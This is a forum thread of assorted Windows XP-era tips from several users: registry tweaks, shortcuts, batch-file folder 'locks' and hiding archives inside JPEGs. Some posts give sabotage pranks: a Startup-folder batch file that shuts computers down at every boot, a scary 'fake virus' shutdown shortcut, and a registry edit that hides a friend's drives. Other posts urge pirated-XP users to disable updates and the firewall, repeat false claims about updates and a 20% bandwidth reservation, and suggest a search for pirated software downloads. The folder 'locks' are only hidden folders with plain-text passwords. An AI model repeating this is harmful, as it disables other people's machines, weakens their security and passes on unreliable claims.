    * Hold down the Windows Key on the keyboard, and then press Pause/Break. (WinKey + Pause *

    Locking Folders without any third party software
    Consider you want to lock a folder named in your E:\, whose path is E:\.
    Now open the Notepad and type the following

    ren .{21EC2020-3AEA-1069-A2DD-08002B30309D}

    Where is your folder name. Save the text file as loc.bat in the same drive.
    Open another new notepad text file and type the following

    ren .{21EC2020-3AEA-1069-A2DD-08002B30309D}

    Save the text file as key.bat in the same drive.
    Steps to lock the folder:

    To lock the folder, simply click the loc.bat and it will transform into control panel icon which is inaccessible.
    To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible

    PS: This is not worked fine in my system. But My Friend still arguing with me that this trick is working fine for him. So I thought Posting it here will be useful for others.

    Change the Default Location for Installing Programs
    XP uses the C:/Program Files directory as the default base directory into which new programs are installed. However, you can change the default installation drive and/or directory by using a Registry hack. Run the
    Registry Editor and go to
    HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion
    Look for the value named ProgramFilesDir. By default, the value will be C:/Program Files. Edit the value to any valid drive
    or folder; XP will use that new location as the default installation directory for new programs.

    Speed up ur acrobat reader (almost like notepad)

    Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.

    1. Go to the installation folder of acrobat reader
    (C:\program files\adobe\acrobat\reader\.. whatever)

    2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).

    Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).

    Now your acrobat reader will load very fast
    and almost as good as notepad..

    A quick keyboard shortcut for disabling autorun for the CD/DVD you just put in :

    Keep the Shift key pressed*, you will notice the CD/DVD spinning keep the key pressed for 3-4 seconds. The CD/DVD will not autorun.

    This is useful if you don't want to disable autorun for all the CDs/DVDs using one of the methods mentioned above.

    *If you have the sticky key short-cut enabled then windows will ask you whether you want to enable sticky keys, just press no..or disable this from Control Panel>Accessibility>Sticky Keys

    Calculation on command Prompt !

    The command processor CMD.EXE comes with a mini-calculator that can perform simple arithmetic on 32-bit signed integers:

    C:\>set /a 2+2
    4
    C:\>set /a 2*(9/2)
    8
    C:\>set /a (2*9)/2
    9
    C:\>set /a "31>>2"
    7


    Note that we had to quote the shift operator since it would otherwise be misinterpreted as a "redirect stdout and append" operator.

    For more information, type set /? at the command prompt.

    nice trick to hide files inside a picture:::::

    1. Gather all the files that you wish to hide in a folder anywhere in your PC (make it in C:\hidden - RECOMMENDED).

    2. Now, add those files in a RAR archive (e.g. secret.rar). This file should also be in the same directory (C:\hidden).

    3. Now, look for a simple JPEG picture file (e.g. logo.jpg). Copy/Paste that file also in C:\hidden.

    4. Now, open Command Prompt (Go to Run and type ‘cmd‘). Make your working directory C:\hidden.

    5. Now type: “COPY /b logo.jpg + secret.rar output.jpg” (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both. 😁

    6. Now, after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archive .

    you can customize the applications and services to start for you and stop unwanted services to start to ease your system.
    it will help you speed up your slowed down machine without reinstalling operating system.


    if you are using the pirated windows xp just turn off automatic updates by selecting to ask you first and then download the updates for you. it will give you opertunity to maintain your speedy operating system.

    Microsoft released xp service pack 2 to get hold of pirated cds. your newly installed operating system works great without updating it. when you select automatic update, it uploads info about pirated os and then your system will download junk updates to mess your system by slowing it down to dead.

    just use an anti virus for your online safety.
    disable automatic updates
    disable windows firewall for you internet connection
    try using firefox, opera browser instead of internet explorer to prevent your system

    Windows Xp: 15 Things You Didn't Know...
    1. Disable Recycle Bin
    You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type ' gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

    2. Lock Workstation
    You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

    3. Show Hidden Installed products in Add/Remove Programs
    XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

    4. System Events from DOS
    For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.

    5. IP v6
    XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.

    6. Kill Tasks from Command Line
    You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.

    7. Zips or Folders
    XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.

    8. ClearType Technology
    XP has ClearType -- M*cro$oft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

    9. Remote Assistance
    You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to #-Link-Snipped-# -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.

    10. Auto Update Balloon Tips
    Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/M*cro$oft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

    11. Auto Login
    You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.

    12. Fast Start Menu
    The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 milliseconds to something a little snappier. Like 0.

    13. Visual Songs
    Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

    14. Shortcuts
    Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.

    15. Oh!! no Crashes...
    It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

    Enjoy!

    Adding an Application to the Right Click on Every Folder
    Here is how to add any application to the Context Menu when you right click on any Folder. This way you do not have to always go to the Start Menu. When you right click on any folder, you can have access to that application, the same as using Sent To.
    1. Open RegEdit
    2. Go to HKEY_CLASSES_ROOT\Folder\shell
    3. Add a new Key to the "Shell" Key and name it anything you like.
    4. Give it a default value that will appear when you right click a folder, i.e. NewKey (use an "&" without the quotes, in front of any character and it will allow you to use the keyboard)
    5. Click on the Key HKEY_CLASSES_ROOT\Folder\shell\NewKey
    6. Add a New Key named Command
    7. Set the (Default) value of the application you want to run
    8. For example: c:\program files\internet explorer\iexplore.exe (Include the full path and parameters if you need them)

    Windows uses 20% of your bandwidth Here's how to Get it back
    This page is contributed bytabcap u can click his name to ask him more or
    give the Feedback

    Windows uses 20% of your bandwidth Here's how to Get it back

    A nice little tweak for XP. Microsoft reserve 20% of your available bandwidth for their own purposes (suspect for updates and interrogating your machine etc..)

    Here's how to get it back:

    Click Start-->Run-->type "gpedit.msc" without the "

    This opens the group policy editor. Then go to:


    Local Computer Policy-->Computer Configuration-->Administrative Templates-->Network-->QOS Packet Scheduler-->Limit Reservable Bandwidth


    Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab :

    "By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."

    So the trick is to ENABLE reservable bandwidth, then set it to ZERO.

    This will allow the system to reserve nothing, rather than the default 20%.

    If you want to connect to your friend's computer that's on the internet. then you can use the remote desktop service. for this you will need:

    1. ip address*
    2. Username*
    3. Password* (if there is no password set, then set one and then use that password)

    *=These values are for the target computer, i.e. the computer you wish to connect to.

    Also make sure, that the target computer has remote desktop enabled

    Hi friends this is my very first post in this section. This is trick which we used to shutdown all computers when we were not in mood of practicles . Open a new text file and type:

    shutdown.exe -s -t 01

    and save it with any name with .bat or .cmd extention.
    Then copy this folder in startup folder of your windows xp or vista. The operating system will shutdown as soon as it starts. Try it, it is cool trick but you will not be able to start your computer until you re-install it.

    You have installed a software you don't want others to use it but you can not restrict users from using it. Then this trick is for you try this.

    First note down what will happen.
    1.In your installed program list the programme will appear
    2.But its folder in c:\program files will not appear
    3.You will access program via command prompt and not via short cut link.

    Method:
    1.Remove all shortcut links of software.
    -From desktop
    -From quick lauch
    -From start menu
    -From start menu-program file
    2.Now open a new text file and type complete path of program you want to use. Suppose you are using a software named example. Then type complete file path as

    c:\"programes files"\example\example.exe

    now save this file with whatever name you want and save with .bat or .cmd extension for example lets consider the file name as leo.cmd
    3.Now copy this file in c:\windows\system32\ folder
    4.Now press start button->run then type cmd and press enter
    command prompt will appear navigate to the folder where your prog is located, and type,

    c:\"program files">attrib "folder name in which software exists" +h +r +s

    5.Now when you want to use the software type your file name(extention not necessary) in command prompt and you will be able to access the program and others will not be able even figure it out.

    Hey guys the trick posted for folder locking does not actually locks folder, it only hides your folder from others at hardware level. The folder is still accessible without any problem to anybody. Let me explain what happens,
    -The folder named as locker gets renamed to " [FONT=Times New Roman, serif]Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}[/FONT]
    " this name has to do nothing with locking than fooling a person who don't know how to handle computer via command prompt. You can use any name in place of " [FONT=Times New Roman, serif]Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}[/FONT]
    ".
    -Then the batch program hides the this folder with attributes +h +s where 'h' denotes hidden and 's' denotes system file. And since batch program operates in command prompt mode it hides folder named " [FONT=Times New Roman, serif]Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}[/FONT]
    " from hardware level.
    -You can still access folder. Open cmd then navigate to the folder where you have saved batch file type "attrib" and press "tab" then append it with "-s -h" and press enter your folder will be visible.
    OR
    Install any third party desktop search software from options enable "show hidden files and folders" now type file name and press enter and all hidden files will be in front of you. Nothing is locked so every thing is 100% visible.
    This trick is just for computer lamers not for professional programmers and students of IT and Computer Engineering.

    Hi friends if you are using Windows Vista and experiencing slow speed for copying contents, then try this.
    Open my computer->then click on "Uninstall or change programs"
    there you will find task pane with various options.
    select "Turn Windows Feature On or Off"
    a window will pop up showing features of windows that can be turned on or off.Now disable "Remote differential compression" and restart your computer. Slowly you will experience increase in copy paste speed. This not actually a trick but i think many people don't know about this.

    Shortcut to open Group Policy Window

    Just go to Start => Run => (type) gpedit.msc => (hit enter)

    This opens the window for Group Policy by which you can change almost all the settings of your OS. All you have to do, is to browse each and every option and check the settings. 😛 😉
    Have a fun!!

    Hello friends, this is not a trick. I am going to tell you how to know what average speed you are getting from you internet connection. The speed you notice in properties is not the actual speed its the maximum speed that your link can support.
    To know speed right click on task bar and open "task manger" click on "networking" option. Look for the "link speed" this speed is displayed in properties. Look carefully the graph or percent of speed receiving.
    For specified duration note the maximum and minimum speed add both and divide by 2. This is your average speed. If minimum speed is nearing zero and maximum above 32Kb. Add minimum speed that is received after zero add to maximum speed and divide by 3.

    Here there is an interesting trick by me
    1. Right-click on your desktop, go to "new" and click "Create Shortcut"
    2. A window will come up. Where it says "Location" enter: shutdown -s -t
    3. The rest of the location is customizable. After the -t, press space and enter the amount of time you want someone to have until shutdown in seconds with only numbers when virus is activated. Press space and enter -c then another space and in quotations, type in a comment that will appear when the computer is shutting down. Click "Next". (example: shutdown -s -t 10 -c "WARNING:A problem with your computer")
    4. On the next screen, name your virus whatever you want, it will still have the same effect. Click "OK".
    5. Your fake virus will be on your desktop as whatever you named it. Click to activate it. If done correctly a shutdown or log-off window will come up with the amount of time, your comment, and a bunch of other stuff. You can not abort the shutdown with task manager by trying to close the window or delete the processes.
    6. TO ABORT THE FAKE VIRUS YOU MUST click the Start button on your taskbar and click run. Then type in: shutdown -a

    Hi goyal i don't how you just created the same trick which i have created in while in second year. This might be co-incidence but a power Windows user will not get fooled by this because when i tried the same trick on my seniors they told me windows never prompts any message if it want to shutdown only Unix and Linux prompt messages. By the way if someone gets this type of message just open task manger and look for process wlrmdr.exe, if you find this process then be sure this message is not generated by OS.

    1.You can delete files immediately, without having them move to the Recycle Bin first.
    Go to the Start menu, select Run… and type ‘gpedit.msc’; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move
    deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care — some may stop your computer behaving as you wish. (Professional Edition only)

    2.You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter rundll32.exe user32.dll',LockWork Station’ in the location field.
    Give the shortcut a name you like. That’s it — just double click on it and your computer will be locked. And if that’s not easy enough, Windows key + L will do the same.

    Those who have had their hard crash Know how important it is to secure data files.Once the hardware fails, all the data is lost. Regular backup are therefore extremely important, but most people avoid it till it's too late. Many back up the data at same point in time, and simply forget updating it.

    What happen when your backup is fully corrupted? At risk all those file contain of financial transactions, databases, correspondence and even personal letters.
    A common virus CIH is enough to destroy enough data on your system
    .

    What do you do when your worst night mare comes true?

    Do not panic, as software utilities that come to your rescue, Such as Power Quest. They not only recover the files from format tedor repartitioned hard disk, but also help you recover your valuable data from virus affected data from virus afflicted drives, drives with corrupt or missing master boot records, partition tables and more.


    Recover file from any FAT16 and FAT32 partition,from ZIP,jaz drives, SyQuest sparc drives,SCSI drives or LS-120 drives.

    Try the 2nd link i think first link is not working .i think first you should check that in the taskmanager that these exe files are either running or not.if running then go to the process tab and then end the process then remove from there.if still problem persist. go to command prompt and and go to in the windows folder and type attrib -s - r -h and name of the file then it remains a normal file than i think it can be deleted easily.

    Google has some fantastic potential for you to find whatever you are after on the internet.
    To search for a book/program/file, perhaps try the following.
    Go to Google’s search page and use the following criteria in the search dialog
    intitle:index.of? file extension Name of item
    e.g. intitle:index.of? chm syngress
    This will hopefully give you a listing of all websites that google has cached that contain references to files in CHM format that are published by SYNGRESS.
    or
    intitle:index.of? Kaspersky
    And you will probably Get the full download of Kaspersky via FTP

    Here the way to lock folders by coding, without resorting to any software:

    Select the folder you wish to lock. Assume that ‘folder’ is the private folder you want to secure, and its location is drive E:\.
    Create 2 ‘.bat’ files in the same drive. Make a new text file in that location. Access that text file via Notepad. Enter the following code:
    [ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D}] Save this as ‘lock.bat’
    Open one more text file and enter this code: [ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} folder] Save this one as ‘unlock.bat’.
    You currently have 2 batch files under the names ‘lock’ and ‘unlock’. Double-click [lock.bat]. The folder icon will turn into that of the Control Panel, and the contents are inaccessible for viewing.
    Simply double-click the [unlock.bat] file to revert to the original folder.

    you can create new thread so that another can see your problem and post the answer
    any how
    There may be few possibilities a) the Internet connections disconnects because it is not in use -- it is programmed that way -- ask your server b) your Internet program is programmed to disconnect after so many minutes/hours of no usage c) there are places where in your connections where you can identify how long it can stay disconnected...depends on your program d) when you disconnect all (electric connections) then the modem you have re-boot itself...as from new..and you establish a new connection....
    hope this might help....

    Turning off or rebooting XP involves a several-step process: click the Start menu,
    choose Shut Down, and then select Shut Down or Restart. If you want, however, you
    can exit or reboot much more quickly, by creating a shortcut that enables one-click
    shutdowns. You can also use the shortcut to customize the shutdown or reboot for
    example, by displaying a specific message or automatically shutting down any
    programs that are running.
    First, create a shortcut on your desktop by right-clicking the desktop, choosing New,
    and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking
    for the location of the shortcut, type shutdown. After you create the shortcut, doubleclicking
    it will shut down your PC.
    But you can do much more with a shutdown shortcut than merely shut down your PC.
    You can add any combination of several switches to do extra duty, like this:
    shutdown -r -t 01 -c "Rebooting your PC"
    Double-clicking that shortcut will reboot your PC after a one-second delay and
    display the message "Rebooting your PC." The shutdown command includes a variety
    of switches you can use to customize it.
    Switches you can use with shutdown
    Switch What it does
    -s Shuts down the PC.
    -l Logs off the current user.
    -t nn
    Indicates the duration of delay, in seconds, before performing the
    action.
    Switches you can use with shutdown
    Switch What it does
    -c
    "messagetext"
    Displays a message in the System Shutdown window. A maximum
    of 127 characters can be used. The message must be enclosed in
    quotation marks.
    -f Forces any running applications to shut down.
    -r Reboots the PC.
    Here are the ones I use for shutdowns and restarts:
    Shutdown -s -t 03 -c "See you later!"
    shutdown -r -t 03 -c "You can't get rid of me that quickly!"
    You always have to turn from the CPU after running this command. (Same with AT
    and ATX powered machines.) If you want to turn down power of ATX machine
    automatically, run the following commnd "c:\windows\system32\tsshutdn.exe 00 /
    POWERDOWN / DELAY:00" This is used to turn off a server. Even though you
    don't have networked computers attached to your computer, this works.

    "How to hide files inside an Image"

    Hi guys,

    Here i tell you the secret to hide a bunch of files inside a jpg image file.
    Suppose you want to add 'n' number of files in a directory C:\secret(just a sample, you can choose whichever dir you want to) into a x.jpg, here are the steps to follow:

    1. Make sure all the files which are to be hidden and inside which you want to hide are in the same directory.
    2. Now, Compress all the files to be hidden into a single .zip file.
    3. go to the command prompt(cmd), reach the directory where your .zip file and jpg image are.
    4. Type in the magic code
    COPY /B name of the image+.zip file(space)newname.jpg
    for eg: if your image name is a.jpg and zip file name is b.zip then.
    "COPY /B a.jpg+b.zip c.jpg"
    5. Here you go...you'll find the image c.jpg in your directory.

    Hello everyone

    here is some tips how to prevent user from deleting internet explorer history

    There is a way to do this, but I will start out by saying that a determined user will always find a way around it – either by using an alternative browser, or finding the cached files on their hard drive.

    The first way is to dig into the registry. Create a key under HKEY_LOCAL_MACHINE under this path:

    Software\Policies\Microsoft\Internet Explorer\Control Panel

    Once you have created the key, create a dword value under it named:

    DisableDeleteBrowsingHistory

    to disable it set it to 1,and to enable it set it back to 0

    Folder Lock With Password Without Any Software-

    Paste the code given below in notepad and 'Save' it as batch file (with extension '.bat').
    Any name will do.
    Then you see a batch file. Double click on this batch file to create a folder locker.
    New folder named 'Locker' would be formed at the same location.
    Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'.
    If you want to unlock your files,double click the batch file again and you would be prompted for password.
    Enter the password and enjoy access to the folder.

    if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
    if NOT EXIST Locker goto MDLOCKER
    :CONFIRM
    echo Are you sure u want to Lock the folder(Y/N)
    set/p "cho=>"
    if %cho%==Y goto LOCK
    if %cho%==y goto LOCK
    if %cho%==n goto END
    if %cho%==N goto END
    echo Invalid choice.
    goto CONFIRM
    :LOCK
    ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
    attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
    echo Folder locked
    goto End
    :UNLOCK
    echo Enter password to Unlock folder
    set/p "pass=>"
    if NOT %pass%==type your password here goto FAIL
    attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
    ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
    echo Folder Unlocked successfully
    goto End
    :FAIL
    echo Invalid password
    goto end
    :MDLOCKER
    md Locker
    echo Locker created successfully
    goto End
    :End




    "if NOT %pass%==type your password here goto FAIL"

    Here in this line of the code, at the place of "type your password here" you have to set your password ......

    log trick !! make ur Notepad a diary !!

    Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
    Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.
    WHY?

    The reason this happens:

    In notepad, any other 4-3-3-5 letter word combo will have the same results.
    It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.

    1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
    2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
    This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters

    Customize the System Tray

    You can add your name or anything you like that consists of 8 characters or less. This will replace the AM or PM next to the system time. But you can corrupt some trial licenses of software that you may have downloaded.

    1. Open RegEdit
    2. Go to HKEY_CURRENT_USER\Control Panel\International
    3. Add two new String values, "s1159" and "s2359"
    4. Right click the new value name and modify. Enter anything you like up to 8 characters.

    If you enter two different values when modifying, you can have the system tray display the two different values in the AM and PM.

    hello everyone

    Windows 7, and Vista have a cool feature. Press shift while right clicking on any folder, and some new menu options.
    One of them allows you to open a command prompt that is rooted right in that folder. This is a convenient option, since you don’t have to launch a command line, and then work your way back to that folder.

    Unfortunately it does not exist in 2000, 2003, or XP – But I found an easy way to add it.

    Create a new file on your desktop and call it “Command.reg”. Right click on it and edit it with notepad.

    Add the following lines:

    REGEDIT4
    [HKEY_CLASSES_ROOT\Directory\shell\cmd]
    @="Open Command Line Here"
    [HKEY_CLASSES_ROOT\Directory\shell\cmd\command]
    @="cmd /k \"cd %L\""

    Save it, and then double click on it to add it to the registry. When it asks you to confirm.

    You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

    If you dont want to make it permanent the you can use shift+delete, this will also delete the items without sending them to recycle bin

    Disable or enable Display of Drives in My Computer :

    This is yet another trick you can play on your geek friend. To disable the display of local or networked drives when you click My Computer go to : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item. It's .reg file is as follows: REGEDIT4 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explore r] "NoDrives"=dword:03ffffff

    [autorun]
    icon=icon.ico

    save and close the file.

    now open my computer and resfresh.. and woh! icon changed....

    SPEED UP UR ACROBAT READER (ALMOST LIKE NOTEPAD)


    Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.

    1. Go to the installation folder of acrobat reader
    (C:\program files\adobe\acrobat\reader\.. whatever)

    2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).

    Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).

    Now your acrobat reader will load very fast
    and almost as good as notepad..

    When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.

    Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.

    Navigate to HKEY_CURRENT_USER\Control Panel\Desktop
    Select MenuShowDelay from the list on the right.

    Right on it and select Modify.
    Change the value to 0.

    Clean Your Prefetch to Improve Performance
    This is a unique technique for WinXP. We know that it is necessary to scrub registry
    and TEMP files for Win9X/ME/2000 periodically. Prefetch is a new and very useful
    technique in Windows XP. However, after using XP some time, the prefetch directory can
    get full of junk and obsolete links in the Prefetch catalog, which can slow down your
    computer noticeably.
    · Open C(system drive):/windows/prefetch, delete those junk and obsolete files,
    reboot. It is recommended that you do this every month.

    INTERNET EXPLORER Speed up STARTUP .


    Isn't it annoying when you want to go to a new website, or any other site but your homepage, and you have to wait for your 'home' to load? This tweak tells Internet Explorer to simply 'run', without loading any webpages. (If you use a 'blank' page, that is still a page, and slows access. Notice the 'about:blank' in the address bar. The blank html page must still be loaded..). To load IE with 'nothing' [nothing is different than blank]:


    1. Right-click on any shortcut you have to IE
    [You should create a shortcut out of your desktop IE icon, and delete the original icon]
    2. Click Properties
    3. Add ' -nohome' [with a space before the dash] after the endquotes in the Target field.
    4. Click OK
    Fire up IE from your modified shortcut, and be amazed by how fast you are able to use IE!

    Make your Windows transparent

    If you work on Windows 7, you might have noticed that the add gadgets window has a nice translucent look to it.

    How about if you can make just about any window transparent? Here is how you can do it!

    You will need a software: AutoHotkey - available as a free download #-Link-Snipped-#

    After installing, open up a notepad window and type the following script:

    n=0
    !+t::
    WinGetActiveTitle, T
    if n=0
    {
    WinSet, Transparent, 222, %T%
    n=1
    Exit
    }
    WinSet, Transparent, Off, %T%
    n=0
    Exit
    Save the file with a .ahk extension. After saving it, go to the location from windows explorer, right click on it and select Run Script To toggle transparency on any window, use Shift+Alt+t hotkey

    Here is the result!

    Go to Start Menu (either by pressing Windows Key or Clicking the Windows button on screen), then go to Run where you have to Type %temp% , you could access the Temp Folder of Windows and delete all the Temporary Files in order to make your PC faster.

    For Windows 7 users, you could even search it directly by typing %temp%, after going to Start Menu
  • Ashish Bardhan
    Ashish Bardhan
    In order to make your PC running faster, i.e. consuming lesser RAM space, you oughta delete the Temporary files from your PC, and kindly shutdown those processes which are useless, but starts by default whenever you start Windows. You could end these process from Task Manager as well.

    Securing confidential and personal data is always considered as a sophisticated task.You can use freeware third party softwares like Axcrypt, Disguise Folders etc to encrypt your data.If somehow you can’t use these softwares (installation restrictions) then you can secure your data using notepad.This trick works in windows xp,vista and windows 7.

    Trick to Lock Folder without any Software

    • Open Notepad [Start-->Run-->Notepad].
    • In your Notepad just Copy/Paste the below code.
    cls
    :End
    @ECHO OFF
    title Folder Locker
    if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
    if NOT EXIST Locker goto MDLOCKER
    :CONFIRM
    echo Are you sure u want to Lock the folder(Y/N)
    set/p "cho=>"
    if %cho%==Y goto LOCK
    if %cho%==y goto LOCK
    if %cho%==n goto END
    if %cho%==N goto END
    echo Invalid choice.
    goto CONFIRM
    :LOCK
    ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
    attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
    echo Folder locked
    goto End
    :UNLOCK
    echo Enter password to Unlock folder
    set/p "pass=>"
    if NOT %pass%==GEORGE goto FAIL
    attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
    ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
    echo Folder Unlocked successfully
    goto End
    :FAIL
    echo Invalid password
    goto end
    :MDLOCKER
    md Locker
    echo Locker created successfully
    goto End
    • In the above batch code the password has been set as GEORGE.You can change it by editing the following line
    if NOT %pass%==GEORGE goto FAIL​

    • Now save this notepad file as yourfoldername.bat ,here .bat is extension of your file.
    • Now a .bat (system) file will be created.
    • Double Click on this .bat file and you will see a Locker Folder at the same location where your .bat file is saved.
    #-Link-Snipped-#
    • Double click on that Locker folder and store your personal data in it.
    • After storing all your data in that folder again double click on .bat file and press Y there to Lock the folder and press Enter.

    Secret Tip How I Make Free Calls from Computer to Mobile Phone Anywhere in the world with yahoo messenger or Skype


    #-Link-Snipped-#
    You can now make free calls from your pc to any mobile in the world. All you need is a mic with ear phones, a decent internet connection and Yahoo Messenger or Skype Installed.I’m now using this free call method and the great thing is that, this trick can be used to make unlimited call to mobiles all over the world and not limited to United states. It even works to make free local mobile calls in India.

    So how do we make a call from pc to mobile phone for free?
    Install Yahoo messenger or Skype. In case you don’t have it Google it and download the latest version.
    Sign into your yahoo messenger or Skype using your yahoo id and password. Configure your microphone and headset if you have installed a fresh yahoo or skype software
    Inside your Yahoo messenger dial +18003733411 and press enter(as shown in figure).
    #-Link-Snipped-#
    Now a small window pops up like the one shown below.
    #-Link-Snipped-#
    An operator greets you with a recorded welcome message along with an advertisement and asks you to select one of the Free411 service. Just hear the services options until they say the last one as “Free Call”. When you hear this, don’t press any number on your keyboard and instead SAY “Free call” loudly on your microphone connected to your PC.
    After this voice message is detected by their system, they will run a short advertisement of their sponsor and make sure you don’t press any number at this time.
